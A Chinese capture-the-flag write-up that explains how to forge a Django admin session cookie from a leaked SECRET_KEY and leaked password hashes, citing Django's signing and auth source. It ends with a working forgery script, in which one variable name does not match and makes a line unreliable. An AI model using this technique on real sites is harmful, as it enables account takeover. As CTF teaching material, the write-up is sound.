可以贴一下题目源码地址吗?
直接进入正题。
被泄漏的姜戈
Description
「听说有离职的同学,把你们的代码和数据库泄漏了出去?好像还在什么 hub 还是 lab 来着建了一个叫 openlug……」
「没关系,反正 admin 用户的密码长度有 1024 位,我自己都忘了密码,就算老天爷来了,也看不到我们的 flag!」
Solution
首先根据提示,从Github下载到了题目的源码:openlug/django-common
理一下源码,发现是用Django写的一个简单的登录应用,而且是用django-admin
生成的模板代码改的。在settings.py
里面找到了一些有用的信息。
源码23行记录了Django使用的SECRET_KEY
,
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
第57行配置了应用所使用的session存储方式是signed_cookies
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# javascript code can get document.cookie, debug
SESSION_COOKIE_HTTPONLY = False
Django有很多种session的存储方式,查阅文档大概有以下几种
- Using database-backed sessions
- Using cached sessions
- Using file-based sessions
- Using cookie-based sessions
其中cookie-based sessions是一种客户端session,与flask的那种客户端session一个原理。是将session里的字段通过Django自己设计的sign算法签名编码之后存放在客户端的cookie中,然后每次客户端带着这个cookie访问,服务端再次通过sign算法验证,从而拿到session。
利用django的sign算法编码与解码session的例子如下:
>>> from django.core import signing
>>> value = signing.dumps({"foo": "bar"})
>>> value
'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'
>>> signing.loads(value)
{'foo': 'bar'}
这里需要注意的是loads和dumps时候其实是要带上一个额外的key参数的,如果不配置就默认是app的SECRET_KEY,但命令行启动的环境是没有配置的,所以我们带上key才可以进行解码。
然后我利用上面django提供的api进行session解码,发现解不了。题目中给的SECRET_KEY应该是没问题的,看API文档发现还有个salt参数,默认值是"django.core.signing"
。猜想可能是这个参数错了。
dumps(obj, key=None, salt='django.core.signing', compress=False)[source]¶
Returns URL-safe, sha1 signed base64 compressed JSON string. Serialized object is signed using TimestampSigner.loads(string, key=None, salt='django.core.signing', max_age=None)[source]¶
Reverse of dumps(), raises BadSignature if signature fails. Checks max_age (in seconds) if given.
只能翻源码找这个salt到底是什么。这里应该很容易发现dumps和loads的参数是一样的,所以找到了signed_cookies
的dumps方法和loads方法等效。
在django/django/contrib/sessions/backends/signed_cookies.py
的SessionStore->load方法
from django.contrib.sessions.backends.base import SessionBase
from django.core import signing
class SessionStore(SessionBase):
def load(self):
"""
Load the data from the key itself instead of fetching from some
external data store. Opposite of _get_session_key(), raise BadSignature
if signature fails.
"""
try:
return signing.loads(
self.session_key,
serializer=self.serializer,
# This doesn't handle non-default expiry dates, see #19201
max_age=self.get_session_cookie_age(),
salt='django.contrib.sessions.backends.signed_cookies',
)
except Exception:
# BadSignature, ValueError, or unpickling exceptions. If any of
# these happen, reset the session.
self.create()
return {}
...
发现session的载入方法就是封装了一层signing.loads
,然后指定了特定的salt
为"django.contrib.sessions.backends.signed_cookies"
。利用这个发现,我们可以decode题目中给出的session-cookie了。
目前为止,我们有:
- SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
- session_cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ
调用decode api解码得到如下结果:
>>>signing.loads(session_cookie,key="d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39",salt="django.contrib.sessions.backends.signed_cookies")
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
可以看到有三个字段
- _auth_user_id
- _auth_user_backend
- _auth_user_hash
这时候我尝试只修改_auth_user_id
字段为1
,然后encode之后,登录失败了。猜想可能后面的_auth_user_hash
字段也要正确才能通过验证。于是继续翻源码,
在django/django/contrib/auth/init.py我们发现了登录验证函数:
import inspect
import re
from django.apps import apps as django_apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.middleware.csrf import rotate_token
from django.utils.crypto import constant_time_compare
from django.utils.module_loading import import_string
from django.utils.translation import LANGUAGE_SESSION_KEY
from .signals import user_logged_in, user_logged_out, user_login_failed
SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
HASH_SESSION_KEY = '_auth_user_hash'
REDIRECT_FIELD_NAME = 'next'
...
def login(request, user, backend=None):
"""
Persist a user id and a backend in the request. This way a user doesn't
have to reauthenticate on every request. Note that data set during
the anonymous session is retained when the user logs in.
"""
session_auth_hash = ''
if user is None:
user = request.user
if hasattr(user, 'get_session_auth_hash'):
session_auth_hash = user.get_session_auth_hash()
if SESSION_KEY in request.session:
if _get_user_session_key(request) != user.pk or (
session_auth_hash and
not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
# To avoid reusing another user's session, create a new, empty
# session if the existing session corresponds to a different
# authenticated user.
request.session.flush()
else:
request.session.cycle_key()
try:
backend = backend or user.backend
except AttributeError:
backends = _get_backends(return_tuples=True)
if len(backends) == 1:
_, backend = backends[0]
else:
raise ValueError(
'You have multiple authentication backends configured and '
'therefore must provide the `backend` argument or set the '
'`backend` attribute on the user.'
)
else:
if not isinstance(backend, str):
raise TypeError('backend must be a dotted import path string (got %r).' % backend)
request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
request.session[BACKEND_SESSION_KEY] = backend
request.session[HASH_SESSION_KEY] = session_auth_hash
if hasattr(request, 'user'):
request.user = user
rotate_token(request)
user_logged_in.send(sender=user.__class__, request=request, user=user)
...
可以看到调用了user.get_session_auth_hash()
获得session_auth_hash
,并且之后赋值给了request.session[HASH_SESSION_KEY] = session_auth_hash
,而HASH_SESSION_KEY
就是字符串
"_auth_user_hash"
,所以我们跟进user.get_session_auth_hash()
在django/django/contrib/auth/base_user.py:
...
def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
...
可以发现就是key_salt
和self.password
传入salted_hmac
进行hash。但这里用到了self.password
,也就是说想计算这个hash值还需要知道密码才行。但我们计算这个hash的目的就是为了伪造session,如果密码都知道了那还伪造个毛?直接登录不就可以了?这里感觉有点奇怪,不应该用密码才对。我们看看这个self.password
是怎么来的:
在django/django/contrib/auth/base_user.py:
class AbstractBaseUser(models.Model):
...
def set_password(self, raw_password):
self.password = make_password(raw_password)
self._password = raw_password
我们发现self.password
其实并不是raw_password,raw_password其实是存在了self._password
变量里面,真是具有迷惑性的名字。我们跟进make_password
函数:
在django/django/contrib/auth/handlers.py:
def make_password(password, salt=None, hasher='default'):
"""
Turn a plain-text password into a hash for database storage
Same as encode() but generate a new random salt. If password is None then
return a concatenation of UNUSABLE_PASSWORD_PREFIX and a random string,
which disallows logins. Additional random string reduces chances of gaining
access to staff or superuser accounts. See ticket #20079 for more info.
"""
if password is None:
return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH)
hasher = get_hasher(hasher)
salt = salt or hasher.salt()
return hasher.encode(password, salt)
发现make_password
函数原始的作用是Turn a plain-text password into a hash for database storage
,也就是说这个函数是计算原始明文密码的hash的,这个hash是存在数据库里面的,也就是通常大家在脱库时候脱出来的密码md5类似。
所以这里就很明了了。整个_auth_user_hash
字段的计算就是
raw_password
> make_password(raw_password)
> salted_hmac(key_salt, make_password(raw_password)).hexdigest()
而这里的key_salt在django/django/contrib/auth/base_user.py直接给出了,make_password(raw_password)
的值也存放在数据库里面,也是知道的,这样就可以计算出_auth_user_hash
的值,从而伪造session了。
至此,翻源码到此为止了,整个session_cookie的生成以及session里面的各个字段的生成原理也搞明白了。
这里可以看出来是有两重的保护的。
- Django这个框架的
SECRET_KEY
保证了session_cookie没法被恶意篡改 - django-admin这个框架的
_auth_user_hash
保证攻击者还要拿到密码的哈希值才能进行伪造
本题就是同时泄露了SECRET_KEY
和密码哈希,所以才能进行伪造。
下面是简单的验证代码:
from django.core import signing
from django.utils.crypto import salted_hmac
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
guest_hash = 'pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM='
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
guest_session_cookie = '.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ'
signed_cookie_slat = 'django.contrib.sessions.backends.signed_cookies'
# load guest session_cookie
guest_session_cookie_dict = signing.loads(guest_session_cookie,key=SECRET_KEY,salt=signed_cookie_slat)
# {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
# validate "_auth_user_hash"
assert salted_hmac(key_salt, guest_hash, secret=SECRET_KEY).hexdigest() == guest_cookie_dict['_auth_user_hash']
# no message is good message
# fake session cookie
fake_admin_session_cookie_dict = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
fake_admin_session_cookie_dict['_auth_user_hash'] = salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest()
# encode
fake_admin_session_cookie = signing.dumps(fake_admin_session_cookie_dict,key=SECRET_KEY,salt=signed_cookie_slat)
print(fake_admin_session_cookie)
完。